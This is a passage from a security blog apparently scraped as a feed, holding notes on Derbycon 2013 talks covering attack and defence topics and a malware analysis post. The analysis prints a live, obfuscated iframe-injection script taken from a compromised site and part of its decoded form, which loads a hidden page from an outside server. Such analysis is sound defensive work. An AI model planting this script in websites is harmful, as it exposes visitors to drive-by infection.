<span style="background-color: white;">After two days of full time corelanc0d3r training, three days of conference talks and two heavy nights out I was ready to sleep for a week. Overall I had an amazing time, learnt so much and met so many cool people. Would definitely recommend you check it out and will be doing my very best to return next year. </span><br />
<span style="background-color: white;"><br /></span>
Questions/comments/corrections - leave a message below.<br />
<span style="background-color: white;"><br /></span>
<span style="background-color: white;">Pwndizzle out! </span><br />
<span style="background-color: #999999;"><br /></span>Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-6613536328909163975.post-15912072751621809642013-10-05T00:44:00.000+01:002013-10-05T01:49:10.971+01:00Notes from Derbycon 2013 - Day #2After drinking late into the night with Casey from Bugcrowd I wasn't feeling too sharp Saturday morning and missed the first two talks. *cough* But ummm, in the afternoon though there was plenty to see!<br />
<br />
<br />
<span style="background-color: #999999;">#########################################################</span><b><br /></b>
<b><span style="font-size: large;">Title: Burning the Enterprise with BYOD</span></b><br />
<b>Link:</b> <a href="https://github.com/georgiaw/Smartphone-Pentest-Framework">https://github.com/georgiaw/Smartphone-Pentest-Framework</a><br />
<b>What was it about:</b><br />
Pwning companies using mobile phone based attacks. Georgia highlighted multiple ways to exploit phones e.g. malicious apps, OS/app vulns and social engineering. After a funny 40 minute semi-drunk ramble through mobile problems, we got to the demo and it was awesome. Using the smartphone pentest framework she'd built, Georgia showed how easy it is to compile a malicious app and trick a user into installing it by sending a link via SMS. User opens link, installs app and now you've compromised the phone.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdErpz4oNP4Py280V4tBgGtunQIpAP6ozpAbF47STbzu6tVj1Rz_axkC0aJj6XZ5iuyuYUkphka6kIiZwNojLba5mPNKarL4xmesY7NhMOrAiZb0K9S6qHAWRU7eK1yv46atbt64Q9rJeV/s1600/smartphonehack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdErpz4oNP4Py280V4tBgGtunQIpAP6ozpAbF47STbzu6tVj1Rz_axkC0aJj6XZ5iuyuYUkphka6kIiZwNojLba5mPNKarL4xmesY7NhMOrAiZb0K9S6qHAWRU7eK1yv46atbt64Q9rJeV/s1600/smartphonehack.png" /></a></div>
<br />
From there you can pivot into the internal network fire, off your ms08-067 exploit and get shell. What's more, because it's mobile all the data runs over the cell network and is impossible to detect or stop. Pwned.<br />
<br />
<b>Lessons learned:</b><br />
There is no way to prevent phones from being compromised. Solution, don't allow BYOD? :)<br />
<br />
<br />
<span style="background-color: #999999;">#########################################################</span><br />
<b><span style="font-size: large;">Title: Malware Management Framework - a process you can use to find advanced malware </span></b><br />
<b>Link:</b> <a href="http://sniperforensicstoolkit.squarespace.com/malwaremanagementframework">http://sniperforensicstoolkit.squarespace.com/malwaremanagementframework</a><br />
<b>What was it about:</b><br />
Finding malware can be like finding a needle in a haystack. So how do you find the needle? Well one approach is to remove the hay. The guys presenting achieved this by hashing all the files in sensitive folders (e.g. %temp%, windows, system32, wbem) and building a repository of known good hashes. Remove the good and you're left with the bad, essentially a form of whitelisting. Although it takes some time to build the repository, once you have it, you have a hell of a monitoring solution (and it's free!). <br />
<br />
These guys had built a cloud platform that would receive and analyse hashes sent from an agent. This agent would be deployed on workstations and would regularly send back any new hashes. It was awesome but closed source!<br />
<br />
<b>Lessons learned:</b><br />
Building a hash repository and using it to analyse files on your system is one of the silver bullets out there that people don't use enough.<br />
<br />
<br />
<span style="background-color: #999999;">#########################################################</span><br />
<b><span style="font-size: large;">Title: Browser Pivoting (FU2FA)</span></b><br />
<b>Link:</b> <a href="http://blog.strategiccyber.com/2013/09/26/browser-pivoting-get-past-two-factor-auth/">http://blog.strategiccyber.com/2013/09/26/browser-pivoting-get-past-two-factor-auth/</a><br />
<b>What was it about:</b><br />
Raphael Mudge presented an impressive new browser pivoting module for Armitage that allows you to browse from your own machine as if you were browsing from the target's machine. Compromise your target, run the post module which will inject a dll into IE, configure your local proxy settings and your local requests will be tunneled through the target's browser.<br />
<br />
While it's always been possible to access internal sites using some port forwarding, by injecting into the browser you inherit all of the session data. E.g. If the user is logged into Facebook, when you browse you will be logged in on their account, awesome! It's a great tool for demonstrating to management how easily an attacker can access all your internal sites. <br />
<br />
<b>Lessons learned:</b><br />
If you're an attacker, use browser pivoting. If you're a defender pray your boxes don't get popped! Also if you use single sign on you're making life a lot easier for the attacker.<br />
<br />
<br />
<span style="background-color: #999999;">#########################################################</span><br />
<b><span style="font-size: large;">Title: Taking the BDSM out of PCI-DSS Through Open Source Solutions</span></b><br />
<b>Link: </b><a href="http://urbanesecurity.com/research/openpci/">http://urbanesecurity.com/research/openpci/</a><br />
<b>What was it about:</b><br />
This was an interesting talk that highlighted the areas of PCI that people most commonly have problems with and how to fix them. The things people commonly do badly included:<br />
<ul>
<li>AV on servers</li>
<li>Patching systems</li>
<li>Two Factor Authentication</li>
<li>Logging <- a lot of people fail here</li>
<li>Policies </li>
</ul>
The presenters gave a few recommendations for each. For example you don't need AV if you do some kind of whitelisting. For logging they recommended a number of interesting open source solutions Fluentd, Logstash, Flume, I've never used them myself but looking over the sites got me interested. Also for file integrity monitoring they mentioned OSSEC.<br />
<br />
The talk was quite funny as whenever Zack said "it depends" he had to drink, yeah he drank quite a lot, but hey that's Derbycon!<br />
<br />
<b>Lessons learned:</b><br />
Check out Fluentd/Logstash/Flume for SIEM.<br />
<br />
<br />
<span style="background-color: #999999;">#########################################################</span><br />
<b><span style="font-size: large;">Title: Hacking Back Active Defense and Internet Tough Guys</span></b><br />
<b>Link: </b><a href="https://bitbucket.org/LaNMaSteR53/honeybadger">https://bitbucket.org/LaNMaSteR53/honeybadger</a><br />
<b>Link: </b><a href="https://github.com/trustedsec/artillery/">https://github.com/trustedsec/artillery/</a><br />
<b>What was it about:</b><br />
This talk was focused on the use of honey pages and honey files to trick an attacker into disclosing their location. Simply including an iframe on a hidden page that shouldn't usually be accessed, e.g. a fake /login.html, can transmit the attacker's ip as soon as they load the page. Even if the attacker is being extra sneaky using TOR for browsing you can try including a booby trapped doc or jar file that when run locally will grab wifi data and call back to you usually bypassing TOR.<br />
<br />
And this is all legal as none of the activity involves illegally compromising the attackers machine. It was funny hearing that when the presenter had contacted law enforcement they didn't know how to respond and often wouldn't arrest the individual despite all the evidence.<br />
<br />
Another defensive tool called Artillery was also mentioned, that does automatic host blacklisting and file integrity monitoring.<br />
<br />
<b>Lessons learned:</b><br />
Internally and externally honey pots/pages/files can provide some great intel, "Honey Badger" is definitely worth checking out.<br />
<br />
<br />
<span style="background-color: #999999;">#########################################################</span><br />
<b><span style="font-size: large;">Title: Everything you ever wanted to know on how to start a credit union</span></b><br />
<b>Link: </b><a href="http://www.irongeek.com/i.php?page=videos/derbycon3/4208-everything-you-ever-wanted-to-know-on-how-to-start-a-credit-union-but-were-afraid-to-ask-jordan-modell">http://www.irongeek.com/i.php?page=videos/derbycon3/4208-everything-you-ever-wanted-to-know-on-how-to-start-a-credit-union-but-were-afraid-to-ask-jordan-modell</a><br />
<b>What was it about:</b><br />
This talk was about one man's experiences setting up a credit union in the US. Although not security related it was interesting to hear about all the various hoops he had to jump through and the layer after layer of bureaucracy he had to deal with. His stay positive and shear determination was really impressive.<br />
<br />
<b>Lessons learned:</b><br />
Don't be afraid to get out there and create something.<br />
<br />
<br />
<span style="background-color: #999999;">#########################################################</span><br />
<b><span style="font-size: large;">Title: Living Off the Land: A Minimalist's Guide to Windows Post Exploitation</span></b><br />
<b>Link: </b><a href="https://github.com/mattifestation/PowerSploit">https://github.com/mattifestation/PowerSploit</a><br />
<b>Link:</b> <a href="http://pen-testing.sans.org/blog/2013/07/12/anti-virus-evasion-a-peek-under-the-veil">http://pen-testing.sans.org/blog/2013/07/12/anti-virus-evasion-a-peek-under-the-veil</a><br />
<b>What was it about:</b><br />
The final talk of the day was about Powersploit and specifically in-memory only modules. The presenters talked about how nearly every single task from extraction of data, to lateral movement, to exfiltration can all be performed in memory using powershell/wmi/netsh.<br />
<br />
I was particularly impressed by the lateral movement and how easy it was to connect to a target using powershell, execute the invoke-shellcode command which will connect back to you, pull meterpreter shellcode then execute it in memory.<br />
<br />
Another tit-bit the guys mentioned was Veil. I'd not heard of it before but it's essentially an AV evasion framework that can compile some bad-ass python and powershell payloads.<br />
<br />
<b>Lessons learned:</b><br />
If you're a pentester you should be using Powersploit and Veil if you aren't already.<br />
<br />
<br />
<span style="background-color: #999999;">#########################################################</span><br />
<span style="background-color: #999999;"><br /></span>
<span style="background-color: #999999;"><br /></span>
<span style="background-color: white;">Questions/comments/corrections - leave a message below.</span><br />
<span style="background-color: #999999;"><br /></span>
<b><span style="font-size: large;">Derbycon day #3</span></b><br />
<a href="http://pwndizzle.blogspot.com/2013/10/notes-from-derbycon-2013-day-2.html">http://pwndizzle.blogspot.com/2013/10/notes-from-derbycon-2013-day-3.html</a>Unknownnoreply@blogger.com3tag:blogger.com,1999:blog-6613536328909163975.post-52824260923253007722013-10-04T10:49:00.000+01:002013-10-05T01:48:55.525+01:00Notes from Derbycon 2013 - Day #1<br />
It was my first time attending Derbycon and I gota say, what a conference! The atmosphere was a lot different to Blackhat/Defcon, less suits, less vendors and more real security guys direct from the trenches.<br />
<br />
I found the talks a lot more interactive and most provided great practical advice for the everyday security admin. Along with the free beer my favorite bit was speaking to fellow attendees/speakers. Exchanging ideas, discussing problems and just meeting new people was awesome.<br />
<br />
So I don't forget what I learnt (and cause I thought you guys might find it useful) I thought I'd do a quick write-up for each day. This is my own version of events and I've probably incorrectly described some talks, apologies in advance!<br />
<br />
Also recordings of most talks can be found here: <a href="http://www.irongeek.com/i.php?page=videos/derbycon3/mainlist">http://www.irongeek.com/i.php?page=videos/derbycon3/mainlist</a><br />
<br />
<br />
<div style="text-align: left;">
<span style="background-color: #999999;">#########################################################</span></div>
<b><span style="font-size: large;">Title: Pigs don't fly - Why owning a typical network is so easy and how to build a secure one</span></b><br />
<b>Link: </b><a href="http://www.scriptjunkie.us/">http://www.scriptjunkie.us/</a><br />
<b>Link:</b> <a href="http://ambuships.com/">http://ambuships.com/</a><br />
<b>What was it about:</b><br />
Scriptjunkie provided an overview of some of the most effective ways to secure a network. He started off by describing common kill chains from initial compromise to exfiltration and how we can break them.<br />
<br />
Defensive techniques included:<br />
- Air gap as much as possible<br />
- Prevent USB<br />
- Prevent direct connections out (force traffic through a proxy)<br />
- Prevent outbound DNS (force machines to use internal DNS)<br />
- Block social networking<br />
- Block inter-workstation access<br />
- Don't allow outbound traffic from admins<br />
- Lock down admin workstations<br />
- Prevent Java/Office writing files to most locations<br />
- Don't use file shares, use a CMS<br />
- Use Ambush ips for monitoring<br />
<br />
Silver bullets:<br />
- Don't use passwords, switch to hardware tokens/smartcards<br />
- Deny all NTLM logins<br />
<br />
Getting rid of passwords and NTLM sounded nuts, but he had a valid point, by getting rid of passwords/hashes and using one time codes from hardware tokens/kerberos instead, it's going to be a lot harder for attackers to move around your network using pass-the-hash or password reuse. Microsoft already provide support for hardware token based authentication so implementation isn't as hard as people think. Legacy applications that don't support kerberos can have some issues though. Definitely something I'm going to look into further.<br />
<br />
<b>Lessons learned:</b><br />
Test disabling NTLM and switching to purely kerberos. Long term enforce token only authentication. Implement as many of the defensive techniques as possible.<br />
<br />
<br />
<span style="background-color: #999999;">#########################################################</span><br />
<b><span style="font-size: large;">Title: IOC Aware - Actively collect compromise indicators and test your entire enterprise</span></b><br />
<b>Link: </b><a href="http://www.youtube.com/watch?v=NhOhfNrXIDI">http://www.youtube.com/watch?v=NhOhfNrXIDI</a><br />
<b>What was it about:</b><br />
IOC's (indicators of compromise) are an open xml format introduced by Mandiant to provide a way to detect malware using a combination of information including filenames, hashes, signature, paths. At the moment it's hard to find IOC's online and producing them is usually a manual process. Wouldn't it be great if we could automatically create and then search for IOCs? Well the guys in this talk had done just that.<br />
<br />
They had used a honeypot (Dionaea) to collect samples which would be automatically submitted to an internal Cuckoo instance. They had created a custom plugin for Cuckoo that would generate IOC's from the Cuckoo analysis.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0UDDQTzb6oA6VIABes_0x9ZvoRNgvXZ3PfM97tDDwDLV-EbgIIUCBq3NUfMcTVldVwxVmi0wzV79OSvGesj2uQRtUk9O8eFnwwEDIMol0elmi12ZXBR6R4DGkTjK6oMHwfhf_bmdc_v8O/s1600/iocaware.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0UDDQTzb6oA6VIABes_0x9ZvoRNgvXZ3PfM97tDDwDLV-EbgIIUCBq3NUfMcTVldVwxVmi0wzV79OSvGesj2uQRtUk9O8eFnwwEDIMol0elmi12ZXBR6R4DGkTjK6oMHwfhf_bmdc_v8O/s1600/iocaware.png" /></a></div>
The generated IOC's were added to a master list that was then sent to software agents that had been deployed on workstations. The agent would search the workstation for the IOCs and report back results. If an attacker had used similar techniques on both the honeypot and workstations he'd be detected. Cool. For me the only issue with this system is that if the attackers don't attack the honeypot you don't get any IOCs.<br />
<br />
<b>Lessons learned:</b><br />
Deploy a honeypot if you haven't already. Make sure you have a way to search your organisation for IOCs.<br />
<br />
<br />
<span style="background-color: #999999;">#########################################################</span><br />
<b><span style="font-size: large;">Title: Cash is King: Who's Wearing Your Crown?</span></b><br />
<b>Link: </b><a href="http://www.youtube.com/watch?v=k-qaAeXUBac">http://www.youtube.com/watch?v=k-qaAeXUBac</a><br />
<b>What was it about:</b><br />
The guys presenting talked about how its possible to inject a dll into the Microsoft Dynamics GP product and proxy requests to the backend database. So if an attacker compromises one of the workstations belonging to your accounting staff they can remotely issue commands to the backend database when that staff member is logged in. Money transfers and account modifications all performed as the compromised user, awesome.<br />
<br />
They mentioned that in many cases accounting reconciliation isn't completed often enough meaning fraudulent payments can go undetected for months. Also once one payment is detected as incorrect how do you know the rest of the payments/account information haven't been modified?<br />
<br />
It was worrying to hear that the payment processing systems for online games have better controls than most ERP and financial systems.<br />
<br />
<b>Lessons learned:</b><br />
Third party financial systems don't provide tight enough audit and change control.<br />
<br />
<br />
<span style="background-color: #999999;">#########################################################</span><br />
<b><span style="font-size: large;">Title: Windows Owned by Default</span></b><br />
<b>Link: </b><a href="http://www.youtube.com/watch?v=SVqiDdVS7Wo">http://www.youtube.com/watch?v=SVqiDdVS7Wo</a><br />
<b>Link:</b> <a href="http://technet.microsoft.com/en-us/magazine/2009.06.act.aspx">http://technet.microsoft.com/en-us/magazine/2009.06.act.aspx</a><br />
<b>What was it about:</b><br />
This was an interesting talk about the Windows Application Compatibility Toolkit and how it can be used to change how commands and programs execute. The toolkit is offered by Microsoft and helps old software work on newer versions of windows. It appears to use some kind of dll injection or rootkit functionality to intercept system calls and redirect execution. So instead of loading for example the default modern version of a dll or registry key you create whats called a "shim" and this shim will redirect the program to the old version of the dll or registry key.<br />
<br />
An attacker can abuse this to load and hide his own malicious files and because child processes inherit parent settings if you create a shim targeting explorer.exe any program running in windows will inherit the settings and run with modified settings.<br />
<br />
You do need to be admin on the box to install the toolkit so it's more of a post exploitation tool but used correctly it can hide malware really well and drive incident responders nuts. Or vice versa if you create a honeypot with Application Compatibility Toolkit installed the attackers will waste time going round in circles instead of attacking your other systems. <br />
<br />
<b>Lessons learned:</b><br />
Look out for malware abusing Windows Application Compatibility Toolkit. Also setup a honeypot using this.<br />
<br />
<br />
<span style="background-color: #999999;">#########################################################</span><br />
<span style="font-size: large;"><b>Title: RAWR - Rapid Assessment of Web Resources</b></span><br />
<b>Link:</b> <a href="http://sourceforge.net/projects/rawr-webenum/">http://sourceforge.net/projects/rawr-webenum/</a><br />
<b>What was it about:</b><br />
Awesome new tool to scan a network and grab screenshots from websites. There are a few scripts out there that do this but I've not seen anything that worked this well. RAWR provides a command line to issue search commands, give it an ip+port and it'll run nmap, Bing reverse DNS and SSL checks against your ip range.<br />
<br />
All screenshots are viewable and searchable through a nice web interface. The tool is still under active development with new features on the way. Overall a great tool for attackers and defenders alike.<br />
<br />
<b>Lessons learned:</b><br />
Grab a copy of RAWR and scan your internal/external network you may be surprised by what you find :)<br />
<br />
<br />
<span style="background-color: #999999;">#########################################################</span><br />
<b><span style="font-size: large;">Title: Decoding Bug Bounty Programs</span></b><br />
<b>Link:</b> <a href="http://www.youtube.com/watch?v=ur1azUTgmvU">http://www.youtube.com/watch?v=ur1azUTgmvU</a><br />
<b>What was it about:</b><br />
Jon presented a great interactive talk about how/why bug bounties operate. I found the Paypal stats quite interesting, for example, did you know 44% of bugs are the submitter's one and only submission and 80% of bug submissions are sent in by researchers who submit less than 10 bugs.<br />
<br />
Also we were lucky enough to have the folks who run Microsoft's bounty program, the head of Firefox's program and the Bugcrowd guys in attendance who all had interesting things to say.<br />
<br />
<b>Lessons learned:</b><br />
Bug bounties are the future!<br />
<br />
<br />
<span style="background-color: #999999;">#########################################################</span><br />
<span style="background-color: #999999;"><br /></span>
<br />
<br />
Questions/comments/corrections - leave a message below.<br />
<br />
<b><span style="font-size: large;">Derbycon day #2</span></b><br />
<a href="http://pwndizzle.blogspot.com/2013/10/notes-from-derbycon-2013-day-2.html">http://pwndizzle.blogspot.com/2013/10/notes-from-derbycon-2013-day-2.html</a><br />
<br />Unknownnoreply@blogger.com4tag:blogger.com,1999:blog-6613536328909163975.post-66065534524733527542013-09-18T07:17:00.000+01:002013-09-18T07:17:48.195+01:00How not to Obfuscate your JavascriptLast week I came across some malicious obfuscated Javascript and thought I'd write about it as a contrast to the VBScript in my last post. In this post I'll deobfuscate the Javascript and dig into the script's functionality and redirects.<br />
<div>
<br />
<br />
<b><span style="font-size: large;">The Sample</span></b><br />
<br /></div>
<div>
The malicious script was first detected by a network monitoring device as "Trojan.JS.Iframe.afs". Submitting the URL of the infected site to Sucuri I got the following:</div>
<div>
<br /></div>
<div>
<a href="http://sitecheck.sucuri.net/results/taalvilla.com">http://sitecheck.sucuri.net/results/taalvilla.com</a></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEing6ejqa_ua5du0G6mItrn3YL7cv0a36T_TiJfHui2mzxaAdNmy3f_7IhQrewHvxE6j22Td1XnPPdI14asn2g4IaYZNgrS7gEBFgiOGOpePpvcQYp-tTIxqfdC5VCSFmWb6n3h-Imz0_zU/s1600/sucuri1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="311" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEing6ejqa_ua5du0G6mItrn3YL7cv0a36T_TiJfHui2mzxaAdNmy3f_7IhQrewHvxE6j22Td1XnPPdI14asn2g4IaYZNgrS7gEBFgiOGOpePpvcQYp-tTIxqfdC5VCSFmWb6n3h-Imz0_zU/s400/sucuri1.png" width="400" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Looking at the results from Sucuri it appeared that a suspicious looking piece of javascript had been included on multiple pages:</div>
<div>
<br /></div>
<div>
<span style="background-color: #eeeeee; font-family: Verdana, Arial, sans-serif; font-size: xx-small; line-height: 14px;"><!--74ed9f--><script type="text/javascript" language="javascript" > kauo="fr"+"omCh"+"arCo"+"de";if(document.querySelector)zjyir=4;jxl=("68,ae,bd,b6,ab,bc,b1,b7,b6,68,bf,c0,78,81,70,71,68,c3,55,52,68,be,a9,ba,68,bb,bc,a9,bc,b1,ab,85,6f,a9,b2,a9,c0,6f,83,55,52,68,be,a9,ba,68,ab,b7,b6,bc,ba,b7,b4,b4,ad,ba,85,6f,b1,b6,ac,ad,c0,76,b8,b0,b8,6f,83,55,52,68,be,a9,ba,68,bf,c0,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,ba,ad,a9,bc,ad,8d,b4,ad,b5,ad,b6,bc,70,6f,b1,ae,ba,a9,b5,ad,6f,71,83,55,52,55,52,68,bf,c0,76,bb,ba,ab,68,85,68,6f,b0,bc,bc,b8,82,77,77,bf,bf,bf,76,b5,a9,ba,ab,bc,ba,b7,b6,76,ab,b7,b5,76,aa,ba,77,b2,bb,77,9a,7a,af,9f,b3,ae,c0,98,76,b8,b0,b8,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,b8,b7,bb,b1,bc,b1,b7,b6,68,85,68,6f,a9,aa,bb,b7,b4,bd,bc,ad,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,ab,b7,b4,b7,ba,68,85,68,6f,7a,80,7a,80,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,b0,ad,b1,af,b0,bc,68,85,68,6f,7a,80,7a,80,b8,c0,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,bf,b1,ac,bc,b0,68,85,68,6f,7a,80,7a,80,b8,c0,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,b4,ad,ae,bc,68,85,68,6f,79,78,78,78,7a,80,7a,80,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,bc,b7,b8,68,85,68,6f,79,78,78,78,7a,80,7a,80,6f,83,55,52,55,52,68,b1,ae,68,70,69,ac,b7,ab,bd,b5,ad,b6,bc,76,af,ad,bc,8d,b4,ad,b5,ad,b6,bc,8a,c1,91,ac,70,6f,bf,c0,6f,71,71,68,c3,55,52,68,ac,b7,ab,bd,b5,ad,b6,bc,76,bf,ba,b1,bc,ad,70,6f,84,b8,68,b1,ac,85,a4,6f,bf,c0,a4,6f,68,ab,b4,a9,bb,bb,85,a4,6f,bf,c0,78,81,a4,6f,68,86,84,77,b8,86,6f,71,83,55,52,68,ac,b7,ab,bd,b5,ad,b6,bc,76,af,ad,bc,8d,b4,ad,b5,ad,b6,bc,8a,c1,91,ac,70,6f,bf,c0,6f,71,76,a9,b8,b8,ad,b6,ac,8b,b0,b1,b4,ac,70,bf,c0,71,83,55,52,68,c5,55,52,c5,55,52,ae,bd,b6,ab,bc,b1,b7,b6,68,9b,ad,bc,8b,b7,b7,b3,b1,ad,70,ab,b7,b7,b3,b1,ad,96,a9,b5,ad,74,ab,b7,b7,b3,b1,ad,9e,a9,b4,bd,ad,74,b6,8c,a9,c1,bb,74,b8,a9,bc,b0,71,68,c3,55,52,68,be,a9,ba,68,bc,b7,ac,a9,c1,68,85,68,b6,ad,bf,68,8c,a9,bc,ad,70,71,83,55,52,68,be,a9,ba,68,ad,c0,b8,b1,ba,ad,68,85,68,b6,ad,bf,68,8c,a9,bc,ad,70,71,83,55,52,68,b1,ae,68,70,b6,8c,a9,c1,bb,85,85,b6,bd,b4,b4,68,c4,c4,68,b6,8c,a9,c1,bb,85,85,78,71,68,b6,8c,a9,c1,bb,85,79,83,55,52,68,ad,c0,b8,b1,ba,ad,76,bb,ad,bc,9c,b1,b5,ad,70,bc,b7,ac,a9,c1,76,af,ad,bc,9c,b1,b5,ad,70,71,68,73,68,7b,7e,78,78,78,78,78,72,7a,7c,72,b6,8c,a9,c1,bb,71,83,55,52,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,68,85,68,ab,b7,b7,b3,b1,ad,96,a9,b5,ad,73,6a,85,6a,73,ad,bb,ab,a9,b8,ad,70,ab,b7,b7,b3,b1,ad,9e,a9,b4,bd,ad,71,55,52,68,73,68,6a,83,ad,c0,b8,b1,ba,ad,bb,85,6a,68,73,68,ad,c0,b8,b1,ba,ad,76,bc,b7,8f,95,9c,9b,bc,ba,b1,b6,af,70,71,68,73,68,70,70,b8,a9,bc,b0,71,68,87,68,6a,83,68,b8,a9,bc,b0,85,6a,68,73,68,b8,a9,bc,b0,68,82,68,6a,6a,71,83,55,52,c5,55,52,ae,bd,b6,ab,bc,b1,b7,b6,68,8f,ad,bc,8b,b7,b7,b3,b1,ad,70,68,b6,a9,b5,ad,68,71,68,c3,55,52,68,be,a9,ba,68,bb,bc,a9,ba,bc,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,b1,b6,ac,ad,c0,97,ae,70,68,b6,a9,b5,ad,68,73,68,6a,85,6a,68,71,83,55,52,68,be,a9,ba,68,b4,ad,b6,68,85,68,bb,bc,a9,ba,bc,68,73,68,b6,a9,b5,ad,76,b4,ad,b6,af,bc,b0,68,73,68,79,83,55,52,68,b1,ae,68,70,68,70,68,69,bb,bc,a9,ba,bc,68,71,68,6e,6e,55,52,68,70,68,b6,a9,b5,ad,68,69,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,bb,bd,aa,bb,bc,ba,b1,b6,af,70,68,78,74,68,b6,a9,b5,ad,76,b4,ad,b6,af,bc,b0,68,71,68,71,68,71,55,52,68,c3,55,52,68,ba,ad,bc,bd,ba,b6,68,b6,bd,b4,b4,83,55,52,68,c5,55,52,68,b1,ae,68,70,68,bb,bc,a9,ba,bc,68,85,85,68,75,79,68,71,68,ba,ad,bc,bd,ba,b6,68,b6,bd,b4,b4,83,55,52,68,be,a9,ba,68,ad,b6,ac,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,b1,b6,ac,ad,c0,97,ae,70,68,6a,83,6a,74,68,b4,ad,b6,68,71,83,55,52,68,b1,ae,68,70,68,ad,b6,ac,68,85,85,68,75,79,68,71,68,ad,b6,ac,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,b4,ad,b6,af,bc,b0,83,55,52,68,ba,ad,bc,bd,ba,b6,68,bd,b6,ad,bb,ab,a9,b8,ad,70,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,bb,bd,aa,bb,bc,ba,b1,b6,af,70,68,b4,ad,b6,74,68,ad,b6,ac,68,71,68,71,83,55,52,c5,55,52,b1,ae,68,70,b6,a9,be,b1,af,a9,bc,b7,ba,76,ab,b7,b7,b3,b1,ad,8d,b6,a9,aa,b4,ad,ac,71,55,52,c3,55,52,b1,ae,70,8f,ad,bc,8b,b7,b7,b3,b1,ad,70,6f,be,b1,bb,b1,bc,ad,ac,a7,bd,b9,6f,71,85,85,7d,7d,71,c3,c5,ad,b4,bb,ad,c3,9b,ad,bc,8b,b7,b7,b3,b1,ad,70,6f,be,b1,bb,b1,bc,ad,ac,a7,bd,b9,6f,74,68,6f,7d,7d,6f,74,68,6f,79,6f,74,68,6f,77,6f,71,83,55,52,55,52,bf,c0,78,81,70,71,83,55,52,c5,55,52,c5".split(","));alq=eval;function mup(){mynpb=function(){--(zujrdn.body)}()}zujrdn=document;for(ojth=0;ojth<jxl["length"];ojth+=1){jxl[ojth]=-(72)+parseInt(jxl[ojth],zjyir*4);}try{mup()}catch(mil){qedems=50-50;}if(!qedems)alq(String[kauo].apply(String,jxl));</script><!--/74ed9f--></span></div>
<div>
<br /></div>
<div>
Just like in my last post where I subverted the code execution to output the code to file, we can do the same here by replacing an eval statement with a document.write and output the plain text script to a textarea. Where's the eval? Notice the line with "alg=eval", alg is used to eval the final line. I just replaced alg with document.write and included textarea html:</div>
<div>
<br /></div>
<div>
<span style="background-color: #eeeeee;">document.write("<textarea>" + String[kauo].apply(String,jxl)+"</textarea>");</span></div>
<div>
<br /></div>
<div>
Running the patched code you get the unobfuscated script:</div>
<div>
<br /></div>
<div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> function wx09() {</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> var static='ajax';</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> var controller='index.php';</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> var wx = document.createElement('iframe');</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"><br /></span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> wx.src = 'http://www.marctron.com.br/js/R2gWkfxP.php';</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> wx.style.position = 'absolute';</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> wx.style.color = '2828';</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> wx.style.height = '2828px';</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> wx.style.width = '2828px';</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> wx.style.left = '10002828';</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> wx.style.top = '10002828';</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"><br /></span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> if (!document.getElementById('wx')) {</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> document.write('<p id=\'wx\' class=\'wx09\' ></p>');</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> document.getElementById('wx').appendChild(wx);</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> }</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;">}</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;">function SetCookie(cookieName,cookieValue,nDays,path) {</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> var today = new Date();</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> var expire = new Date();</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> if (nDays==null || nDays==0) nDays=1;</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> expire.setTime(today.getTime() + 3600000*24*nDays);</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> document.cookie = cookieName+"="+escape(cookieValue)</span></div>
<div>
